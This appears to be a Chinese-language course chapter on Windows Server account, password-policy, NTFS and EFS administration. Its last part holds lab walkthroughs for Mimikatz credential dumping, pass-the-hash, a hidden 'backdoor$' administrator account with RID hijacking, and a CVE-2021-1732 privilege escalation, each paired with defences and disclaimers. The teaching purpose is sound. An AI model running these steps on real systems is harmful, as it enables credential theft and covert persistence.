Skip to content

02.项目二 Windows服务器用户管理

🎯

学习目标

完成本项目后,学生应能够:

  1. 掌握使用 net user 和 PowerShell Cmdlet 对 Windows Server 本地账户进行创建、修改、禁用与删除操作
  2. 理解密码策略与账户锁定策略的配置方法,能独立完成系统认证安全加固
  3. 熟练使用 PowerShell 和 icacls 对文件/文件夹进行 NTFS 权限设置,掌握 EFS 加密文件系统的基本操作
  4. 了解 Mimikatz 凭据提取、注册表隐藏账户、本地提权漏洞等常见攻击手法,以及对应的防御措施

账户类型说明存储位置
本地用户账户只在本台计算机上有效本地 SAM 数据库
域用户账户在整个域中有效域控制器 Active Directory
内置账户系统自带,如 Administrator、Guest本地 SAM 数据库
服务账户用于运行服务,如 SYSTEM、Network Service系统内核

内置账户安全说明:

账户名说明安全建议
Administrator系统内置管理员,拥有最高权限重命名并设置强密码
Guest访客账户,权限极低应禁用
SYSTEM操作系统使用,权限高于 Administrator不可登录,无需修改
DefaultAccountWindows Server 2016 引入,默认禁用保持禁用

方式一:net user 命令(CMD)

# 查看所有账户
net user
# 查看指定账户详情
net user <用户名>
# 创建账户
net user <用户名> <密码> /add
# 修改密码
net user <用户名> <新密码>
# 禁用 / 启用账户
net user <用户名> /active:no
net user <用户名> /active:yes
# 删除账户
net user <用户名> /delete
参数说明示例
/add新建账户net user zhangsan P@ss /add
/delete删除账户net user zhangsan /delete
/active:yes/no启用或禁用账户net user zhangsan /active:no
/fullname:"名称"设置显示全名/fullname:"张三"
/comment:"备注"添加账户描述/comment:"销售部员工"
`/expires:<日期never>`设置账户过期日期
/passwordchg:yes/no是否允许用户自改密码/passwordchg:no
`/times:<范围all>`限制登录时间段

方式二:PowerShell 命令(推荐)

Terminal window
# 创建新用户并设置密码
$pwd = ConvertTo-SecureString "Welcome@2024" -AsPlainText -Force
New-LocalUser -Name "zhangsan" -Password $pwd -FullName "张三" -Description "销售部主管"
# 修改用户属性
Set-LocalUser -Name "zhangsan" -Description "销售部总监" -PasswordNeverExpires $false
# 启用已禁用的用户
Enable-LocalUser -Name "zhangsan"
# 禁用用户
Disable-LocalUser -Name "lisi"
# 删除用户
Remove-LocalUser -Name "wangwu"
# 查看所有本地用户
Get-LocalUser
# 查看指定用户详细信息
Get-LocalUser -Name "zhangsan" | Format-List *
# 将用户添加到管理员组
Add-LocalGroupMember -Group "Administrators" -Member "zhangsan"
# 将用户从组中移除
Remove-LocalGroupMember -Group "Administrators" -Member "zhangsan"
# 查看管理员组成员
Get-LocalGroupMember -Group "Administrators"
# 批量创建用户
$users = @("user1", "user2", "user3")
foreach ($user in $users) {
$pwd = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
New-LocalUser -Name $user -Password $pwd -Description "批量创建的用户"
}
# 设置用户账户过期时间(90天后)
Set-LocalUser -Name "zhangsan" -AccountExpires (Get-Date).AddDays(90)
# 重置用户密码
$newPwd = ConvertTo-SecureString "NewP@ss2024" -AsPlainText -Force
Set-LocalUser -Name "zhangsan" -Password $newPwd

PowerShell 批量管理示例

Terminal window
# 从 CSV 文件批量创建用户
# CSV 文件格式:Name,FullName,Description
# zhangsan,张三,销售部
# lisi,李四,技术部
Import-Csv "C:\Users\admin\Desktop\users.csv" | ForEach-Object {
$pwd = ConvertTo-SecureString "Welcome@2024" -AsPlainText -Force
New-LocalUser -Name $_.Name -Password $pwd -FullName $_.FullName -Description $_.Description
Write-Host "已创建用户:$($_.Name)" -ForegroundColor Green
}
# 批量禁用长期未使用的账户(假设超过90天未登录)
Get-LocalUser | Where-Object {
$_.LastLogon -lt (Get-Date).AddDays(-90) -and $_.Enabled -eq $true
} | ForEach-Object {
Disable-LocalUser -Name $_.Name
Write-Host "已禁用用户:$($_.Name)" -ForegroundColor Yellow
}
# 导出所有用户信息到 CSV
Get-LocalUser | Select-Object Name, Enabled, Description, LastLogon |
Export-Csv "C:\users_export.csv" -NoTypeInformation -Encoding UTF8
Cmdlet功能常用参数
New-LocalUser创建本地用户-Name -Password -FullName -Description
Set-LocalUser修改用户属性-Name -Password -Description -PasswordNeverExpires
Enable-LocalUser启用账户-Name
Disable-LocalUser禁用账户-Name
Remove-LocalUser删除账户-Name
Get-LocalUser查看用户信息-Name(可省略)
Add-LocalGroupMember将用户加入组-Group -Member
Remove-LocalGroupMember将用户从组中移除-Group -Member
Get-LocalGroupMember查看组成员-Group

密码转换说明:PowerShell 的密码参数要求 SecureString 类型,需先转换:

Terminal window
$pwd = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
参数说明
-AsPlainText声明输入为明文字符串
-Force确认了解明文传递风险,强制执行(与 -AsPlainText 搭配使用)

📌

本节小结

  • Windows 账户分为本地账户、域账户、内置账户、服务账户四类;内置的 Administrator 应重命名并设置强密码,Guest 应禁用
  • net user 适合快速操作,PowerShell 的 -LocalUser / -LocalGroupMember 系列 Cmdlet 功能更完整、更适合脚本化管理
  • PowerShell 密码参数类型为 SecureString,需通过 ConvertTo-SecureString 转换后传入
  • 用户加入哪个本地组决定其权限级别:Administrators 拥有完全控制权,Users 为标准使用者

🏢

场景:公司新员工入职

销售部新入职3名员工:张三(zhangsan)、李四(lisi)、王五(wangwu)。IT管理员需为其创建服务器账户,初始密码统一为 Welcome@2024。张三为部门主管,加入 Administrators 组;李四和王五加入普通 Users 组。同时,旧账户 oldstaff 长期未使用,需要禁用。

第 1 步:创建三个新账户

net user zhangsan Welcome@2024 /add
net user lisi Welcome@2024 /add
net user wangwu Welcome@2024 /add

第 2 步:将账户加入对应用户组

Terminal window
# 张三加入管理员组
Add-LocalGroupMember -Group "Administrators" -Member "zhangsan"
# 李四、王五加入普通用户组
Add-LocalGroupMember -Group "Users" -Member "lisi"
Add-LocalGroupMember -Group "Users" -Member "wangwu"

第 3 步:为张三设置职位描述

Terminal window
Set-LocalUser -Name "zhangsan" -Description "销售部主管"

第 4 步:禁用旧账户 oldstaff

Terminal window
Disable-LocalUser -Name "oldstaff"

第 5 步:验证操作结果(截图保留)

Terminal window
# 查看所有账户的名称、状态和描述
Get-LocalUser | Select-Object Name, Enabled, Description
# 确认张三已加入 Administrators 组
Get-LocalGroupMember -Group "Administrators"
# 确认 oldstaff 已被禁用
Get-LocalUser -Name "oldstaff" | Select-Object Name, Enabled

New-LocalUser 参数详解

参数说明示例值
-Name登录名,必填"zhangsan"
-Password密码,须为 SecureString 类型(ConvertTo-SecureString "P@ss" -AsPlainText -Force)
-FullName用户全名(显示名称)"张三"
-Description账户描述备注"销售部员工"
-AccountNeverExpires账户永不过期(开关参数)直接加参数名即生效
-PasswordNeverExpires密码永不过期$true 或 $false
-Disabled创建时直接禁用账户(开关参数)直接加参数名即生效

Set-LocalUser 参数详解

参数说明示例值
-Name目标用户名,必填"zhangsan"
-Password重置密码,须为 SecureString(ConvertTo-SecureString "NewP@ss" -AsPlainText -Force)
-Description修改账户描述"销售部主管"
-PasswordNeverExpires设置密码是否永不过期$true / $false
-AccountExpires设置账户到期时间(Get-Date).AddDays(90)

reg add 参数详解(用于修改注册表)

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "0" /f
参数说明常用值
/v键值名称(Value Name)AutoAdminLogon
/t数据类型REG_SZ(字符串)、REG_DWORD(整数)
/d要写入的数据"0"
/f强制覆盖,不提示确认—

认证方式说明安全性
LM Hash早期 Windows 使用,已被禁用极低,已废弃
NTLM目前仍在局域网中广泛使用中等
Kerberos域环境标准认证协议高
Windows Hello / 生物识别指纹、人脸识别等现代方式很高

原理: LM Hash 是 Windows 最早期的密码加密方式,出现在 Windows NT 之前的系统中。它将密码转换为大写字母,然后分成两个7字符的块分别进行 DES 加密。

安全问题:

  • 密码不区分大小写,降低了密码空间
  • 最多只支持14个字符,超出部分被截断
  • 密码被分成两个7字符块独立加密,可以分别破解
  • 没有使用盐值(salt),相同密码产生相同哈希
  • 可以在几秒内通过彩虹表(Rainbow Table)破解

当前状态: 从 Windows Vista / Server 2008 开始,LM Hash 已默认禁用。现代 Windows 系统不再生成或存储 LM Hash。

原理: NTLM 是对 LM Hash 的改进,使用 MD4 算法对密码的 Unicode 编码进行哈希。它保留了密码的大小写敏感性,支持更长的密码。

工作流程(挑战/响应机制):

  1. 客户端向服务器发送身份验证请求
  2. 服务器返回一个随机数(Challenge)
  3. 客户端使用密码哈希加密 Challenge,发送响应(Response)
  4. 服务器验证响应是否正确

版本演进:

  • NTLMv1: 存在严重安全漏洞,容易被中间人攻击和重放攻击
  • NTLMv2: 增强版本,加入了时间戳和客户端 Challenge,提高了安全性

应用场景:

  • 工作组环境(非域环境)中的默认认证方式
  • 域环境中作为 Kerberos 的后备认证方式
  • 通过 IP 地址访问资源时(无法使用 Kerberos)

安全问题:

  • 易受 Pass-the-Hash 攻击(攻击者无需知道明文密码,只需获取哈希值即可认证)
  • 不支持双向认证(只验证客户端,不验证服务器)
  • 容易被中继攻击(NTLM Relay)利用

原理: Kerberos 是一种基于票据(Ticket)的网络认证协议,使用对称密钥加密技术。它由麻省理工学院(MIT)开发,Windows 2000 开始成为域环境的默认认证协议。

核心组件:

  • KDC(Key Distribution Center): 密钥分发中心,运行在域控制器上
  • AS(Authentication Service): 认证服务,验证用户身份
  • TGS(Ticket Granting Service): 票据授予服务,颁发服务票据

认证流程:

  1. 用户输入密码后,客户端向 AS 发送认证请求
  2. AS 验证用户身份,返回 TGT(Ticket Granting Ticket)
  3. 客户端使用 TGT 向 TGS 请求访问特定服务的票据
  4. TGS 验证 TGT,返回服务票据(Service Ticket)
  5. 客户端使用服务票据访问目标服务
  6. 服务器验证票据,允许访问

安全优势:

  • 双向认证: 客户端和服务器互相验证身份
  • 票据有时效性: 默认 TGT 有效期为10小时,服务票据有效期更短
  • 密码不在网络传输: 只传输加密的票据
  • 单点登录(SSO): 一次认证,多次访问不同服务

常见攻击:

  • 黄金票据(Golden Ticket): 攻击者获取 krbtgt 账户的哈希值后,可伪造任意用户的 TGT
  • 白银票据(Silver Ticket): 伪造特定服务的服务票据
  • Kerberoasting: 请求服务票据后离线暴力破解服务账户密码

原理: Windows Hello 是 Windows 10 引入的现代身份验证系统,支持人脸识别、指纹识别和 PIN 码登录,无需传统密码。

技术特点:

  • 本地生物特征存储: 生物特征数据存储在设备本地的 TPM(可信平台模块)芯片中,不上传到云端
  • 多因素认证: 结合”你拥有的设备”和”你是谁”两个因素
  • 防欺骗技术: 人脸识别使用红外摄像头和 3D 深度传感器,防止照片欺骗

支持的认证方式:

  • Windows Hello 人脸识别: 需要支持红外的专用摄像头(如 Intel RealSense)
  • Windows Hello 指纹识别: 需要指纹读取器
  • Windows Hello PIN: 设备专用的 PIN 码,比传统密码更安全(绑定设备,无法远程使用)

企业级功能:

  • Windows Hello for Business: 企业版,支持证书或密钥信任模式,与 Azure AD 或本地 AD 集成
  • 无密码登录: 完全取代传统密码,提高用户体验和安全性

安全优势:

  • 抗钓鱼攻击(无密码可窃取)
  • 防止暴力破解(生物特征难以复制)
  • 设备绑定(PIN 和生物特征只在注册设备上有效)
  • 结合 TPM 硬件保护,密钥材料无法导出

配置路径:运行 secpol.msc → 账户策略

密码策略(→ 密码策略):

策略名称建议值说明
密码必须符合复杂性要求启用要求包含大小写字母、数字、特殊符号
最短密码长度12 个字符长度越长越难破解
密码最长使用期限90 天到期后强制修改
密码最短使用期限1 天防止用户立即改回旧密码
强制密码历史5 个记录历史密码,防止重复使用

账户锁定策略(→ 账户锁定策略):

策略名称建议值说明
账户锁定阈值5 次连续错误 N 次后锁定账户
账户锁定时间15 分钟锁定后自动解锁等待时间
复位账户锁定计数器15 分钟错误计数归零的等待时间

💡 现代最佳实践:微软建议不强制定期换密码,改用长密码短语 + 多因素认证(MFA) ,如 “我爱北京天安门2024!” 比复杂的8位密码更安全。

📌

本节小结

  • Windows 身份验证协议经历了 LM Hash → NTLM → Kerberos 的演进,域环境推荐 Kerberos,现代终端推荐 Windows Hello
  • 密码策略通过 secpol.msc 配置,关键参数:复杂性要求启用、最短12位、历史记录5个
  • 账户锁定策略建议:5次失败后锁定、锁定时间15分钟,有效抵御暴力破解
  • 策略修改后需执行 gpupdate /force 立即生效,用 net accounts 验证当前配置

🔐

场景:公司安全审计整改

IT安全团队季度审计发现三个问题:①部分账户密码仅6位且无复杂性要求;②登录失败无锁定机制,存在暴力破解风险;③Administrator 账户仍使用默认名称。要求运维人员统一加固密码策略,并为 Administrator 重置强密码。

第 1 步:打开本地安全策略,配置密码策略

secpol.msc

进入 账户策略 → 密码策略,逐项双击设置:

密码必须符合复杂性要求 → 启用
最短密码长度 → 12 个字符
密码最长使用期限 → 90 天
强制密码历史 → 5 个

第 2 步:配置账户锁定策略

进入 账户策略 → 账户锁定策略,逐项双击设置:

账户锁定阈值 → 5 次
账户锁定时间 → 15 分钟
复位账户锁定计数器 → 15 分钟

第 3 步:为 Administrator 重置强密码

# 方式一:CMD 命令行
net user Administrator Admin@Server2024
# 方式二:PowerShell(推荐)
$pwd = ConvertTo-SecureString "Admin@Server2024" -AsPlainText -Force
Set-LocalUser -Name "Administrator" -Password $pwd

第 4 步:强制刷新策略,使其立即生效

gpupdate /force

第 5 步:验证策略已生效(截图保留)

# 查看当前密码策略配置
net accounts

gpupdate 参数详解

参数说明示例
/force强制重新应用所有策略(含未变更项)gpupdate /force
/target:computer仅更新计算机配置策略gpupdate /target:computer
/target:user仅更新用户配置策略gpupdate /target:user
/logoff更新后自动注销(部分用户策略需注销生效)gpupdate /force /logoff
/boot更新后自动重启(部分计算机策略需重启生效)gpupdate /force /boot

net accounts 输出字段说明

字段含义
Minimum password length最短密码长度
Maximum password age密码最长使用天数
Lockout threshold锁定阈值(错误次数)
Lockout duration锁定持续时间(分钟)

权限类型作用范围说明
共享权限(Share Permissions)仅限网络访问控制通过网络访问共享资源的权限
NTFS 权限(NTFS Permissions)本地 + 网络访问控制文件/文件夹的精细访问权限

⚠️ 叠加原则:共享权限和 NTFS 权限同时存在时,用户实际权限取两者中更严格的一个。

权限级别包含操作
完全控制读取、写入、修改、删除、更改权限、取得所有权
修改读取、写入、修改、删除(不含更改权限)
读取和执行查看文件内容、运行程序
列出文件夹内容查看文件夹中的文件列表(仅文件夹)
读取查看文件属性和内容
写入创建新文件/文件夹、修改文件内容

权限叠加规则:同一用户属于多个组时权限取并集(最宽松) ,但「拒绝」权限优先于「允许」权限。

EFS 是 NTFS 提供的文件级透明加密功能,加密与用户账户绑定:

操作说明
加密用 FEK(文件加密密钥)加密文件,再用用户公钥加密 FEK
解密用用户私钥解密 FEK,再用 FEK 解密文件,用户透明访问
注意重装系统或删除账户后,若未备份证书,文件将永久无法解密
备份通过 certmgr.msc 导出 EFS 证书(.pfx 文件)到安全位置

📌

本节小结

  • Windows 文件权限分为共享权限(仅网络访问)和 NTFS 权限(本地+网络),实际生效取两者中更严格的一方
  • NTFS 权限级别由高到低:完全控制 → 修改 → 读取和执行 → 读取 → 写入;多组权限叠加取并集,但”拒绝”优先
  • 通过 PowerShell 的 Get-Acl / Set-Acl 或 icacls 命令可精细管理访问控制列表(ACL)
  • EFS 加密与用户账户绑定,务必通过 certmgr.msc 备份 .pfx 证书,否则重装系统后文件将永久无法解密

📁

场景:部门文件夹权限分级管理

服务器共享目录 C:\CompanyData 下有三个子文件夹,需按以下规则设置权限:

  • Sales(销售资料):销售组 SalesGroup 拥有读取和执行权限
  • Finance(财务数据):财务账户 finance_user 拥有修改权限
  • Public(公共文档):所有员工 Users 拥有读取和执行权限
  • Finance 文件夹中的薪资文件需启用 EFS 加密保护

第 1 步:创建目录结构

Terminal window
New-Item -ItemType Directory -Path "C:\CompanyData"
New-Item -ItemType Directory -Path "C:\CompanyData\Sales"
New-Item -ItemType Directory -Path "C:\CompanyData\Finance"
New-Item -ItemType Directory -Path "C:\CompanyData\Public"
# 验证目录已创建
Get-ChildItem C:\CompanyData

第 2 步:为 Sales 文件夹设置 SalesGroup 的读取和执行权限

Terminal window
$acl = Get-Acl "C:\CompanyData\Sales"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"SalesGroup", "ReadAndExecute", "ContainerInherit,ObjectInherit", "None", "Allow"
)
$acl.SetAccessRule($rule)
Set-Acl "C:\CompanyData\Sales" $acl
# 验证权限
icacls C:\CompanyData\Sales

第 3 步:为 Finance 文件夹设置 finance_user 的修改权限

Terminal window
$acl = Get-Acl "C:\CompanyData\Finance"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"finance_user", "Modify", "ContainerInherit,ObjectInherit", "None", "Allow"
)
$acl.SetAccessRule($rule)
Set-Acl "C:\CompanyData\Finance" $acl
# 验证权限
icacls C:\CompanyData\Finance

第 4 步:创建测试文件并进行 EFS 加密

Terminal window
# 创建薪资测试文件
New-Item -ItemType File -Path "C:\CompanyData\Finance\salary.txt" -Value "员工薪资数据"
# 对文件进行 EFS 加密
cipher /e C:\CompanyData\Finance\salary.txt
# 加密后文件名在资源管理器中显示为绿色

第 5 步:验证加密状态(截图保留)

# 查看当前用户所有已加密文件(E=已加密,U=未加密)
cipher /u
# 查看 Finance 文件夹的加密状态
cipher C:\CompanyData\Finance

Get-Acl / Set-Acl 说明

Cmdlet参数说明
Get-Acl-Path获取指定路径的访问控制列表(ACL)
Set-Acl-Path • ACL对象将修改后的 ACL 应用到指定路径

FileSystemAccessRule 构造参数

位置含义可用值
第1个用户或组名称"SalesGroup"、"BUILTIN\Users"
第2个权限类型(FileSystemRights)"ReadAndExecute" / "Modify" / "FullControl" / "Read" / "Write"
第3个继承标志(InheritanceFlags)"ContainerInherit,ObjectInherit"(应用至子文件夹和文件)
第4个传播标志(PropagationFlags)"None"
第5个访问控制类型"Allow" 或 "Deny"

icacls 命令快速参考

用法说明
icacls <路径>查看当前权限
icacls <路径> /grant <用户>:(OI)(CI)RX授予读取和执行权限
icacls <路径> /grant <用户>:(OI)(CI)M授予修改权限
icacls <路径> /grant <用户>:(OI)(CI)F授予完全控制权限
icacls <路径> /remove <用户>移除用户的所有权限

权限代码与继承代码说明

权限代码含义继承代码含义
F完全控制(OI)应用到子文件
M修改(CI)应用到子文件夹
RX读取和执行(NP)不继承到下级
R只读
W写入

cipher 命令参数

参数说明示例
/e加密指定文件或文件夹cipher /e C:\secret.txt
/d解密指定文件或文件夹cipher /d C:\secret.txt
/s:<目录>对目录及所有子目录操作cipher /e /s:C:\SecretFolder
/u列出当前用户所有已加密文件cipher /u
/r:<前缀>生成 EFS 恢复代理证书(备份用)cipher /r:EFSBackup

Mimikatz 是由法国安全研究员 Benjamin Delpy 开发的调试工具,可从 Windows 内存(LSASS 进程)中提取明文密码、NTLM 哈希、Kerberos 票据等凭据。

工作原理:Windows 将用户凭据缓存在 LSASS 进程内存中,Mimikatz 通过调用 Windows 调试 API 读取该内存区域。

防御措施:

防御手段说明
Windows Credential Guard使用虚拟化技术隔离保护凭据
LSA 保护(RunAsPPL)将 LSASS 运行在受保护进程模式(Win10 1607+)
受保护用户组加入 Protected Users 组,限制凭据缓存
EDR 方案部署 Microsoft Defender for Endpoint 等终端检测工具

启用 LSA 保护命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f

攻击者在获取权限后,在用户名末尾加 $(如 backdoor$)创建隐藏账户,该账户不显示在登录界面和 net user 列表中,但实际存在于系统中。

检测方法:对比 net user 输出与注册表 SAM 键值,注册表多出的即为隐藏账户。

reg query HKLM\SAM\SAM\Domains\Account\Users\Names
wmic useraccount list full

📌

本节小结

  • Mimikatz 通过调用 Windows 调试 API 读取 LSASS 进程内存,可提取明文密码和 NTLM 哈希;防御手段包括启用 Credential Guard、LSA 保护(RunAsPPL) 和部署 EDR
  • 以 $ 结尾的账户在 net user 和登录界面中隐藏,可通过 wmic useraccount list full 或直接查询注册表 SAM 键发现
  • CVE-2021-1732 属于本地提权漏洞(Win32k 越界写入),修复方法是安装补丁 KB4601319
  • 以上攻击手法应在授权的实验环境中学习,任何未授权使用均属违法行为

第 1 步:以管理员权限启动 Mimikatz

# 右键 mimikatz.exe → 以管理员身份运行
# 或在管理员 CMD 中执行
cd C:\Tools\mimikatz
mimikatz.exe

第 2 步:在交互界面依次执行

# 获取调试权限(必须先执行)
privilege::debug
# 成功输出:Privilege '20' OK
# 从 LSASS 内存中提取登录用户凭据
sekurlsa::logonpasswords
# 输出:Username(用户名)/ Password(明文)/ NTLM(哈希)
# 导出本地 SAM 数据库所有账户哈希
lsadump::sam
# 退出
exit

第 3 步:Pass-the-Hash 演示(概念)

# 使用获取到的 NTLM 哈希直接认证,无需明文密码
sekurlsa::pth /user:Administrator /domain:. /ntlm:<哈希值>

⚠️ 免责声明:以上操作仅用于授权渗透测试和安全教学环境,在未授权系统上使用属于违法行为。


第 1 步:创建隐藏账户

# $ 结尾账户不显示在 net user 列表和登录界面
net user backdoor$ P@ssw0rd /add
net localgroup administrators backdoor$ /add
# 验证:net user 不显示,但 wmic 可查到
net user
wmic useraccount list full | findstr backdoor

第 2 步:以 SYSTEM 权限访问 SAM 注册表

# 使用 PsExec 以 SYSTEM 权限运行注册表编辑器
PsExec.exe -i -s regedit

第 3 步:导出注册表键

Terminal window
reg export "HKLM\SAM\SAM\Domains\Account\Users\Names\Administrator" admin.reg
reg export "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" backdoor.reg
# 还需导出 backdoor$ 对应的 RID 键(在 Names 键中查看类型值获取 RID)
reg export "HKLM\SAM\SAM\Domains\Account\Users\000003EA" backdoor_rid.reg

第 4 步:克隆 RID,使隐藏账户获得 Administrator 权限

# 编辑 backdoor_rid.reg,将 RID 替换为 Administrator 的 RID(0x1F4=500)
# 导入修改后的文件
reg import backdoor_rid_modified.reg

第 5 步:检测与防御

Terminal window
# 对比两种查询,发现隐藏账户
Get-LocalUser | Select-Object Name
reg query HKLM\SAM\SAM\Domains\Account\Users\Names
# 注册表中多出的条目即为隐藏账户

⚠️ 免责声明:以上操作仅用于授权渗透测试和安全教学环境,在未授权系统上使用属于违法行为。


漏洞信息:Windows Win32k 组件越界写入漏洞,可将普通用户提升为 SYSTEM 权限。

项目内容
影响版本Windows 10 1903+、Windows Server 2016/2019
CVSS 评分7.8(高危)
修复补丁KB4601319(2021年2月安全更新)

第 1 步:检查系统是否受影响

Terminal window
# 查看系统版本
Get-ComputerInfo | Select-Object OsName, OsBuildNumber
# 检查补丁是否已安装(无输出则未安装,存在漏洞)
Get-HotFix -Id KB4601319

第 2 步:验证提权效果(实验环境)

# 以普通用户身份运行 POC 后,在弹出的 SYSTEM shell 中验证
whoami
# 输出:nt authority\system ← 提权成功

第 3 步:修复与验证

Terminal window
# 安装补丁
wusa.exe KB4601319.msu /quiet /norestart
# 验证补丁已安装
Get-HotFix -Id KB4601319
# 有输出 → 已修复

⚠️ 免责声明:以上操作仅用于授权渗透测试和安全教学环境,在未授权系统上使用属于违法行为。

项目二 教学逐字稿(约90分钟)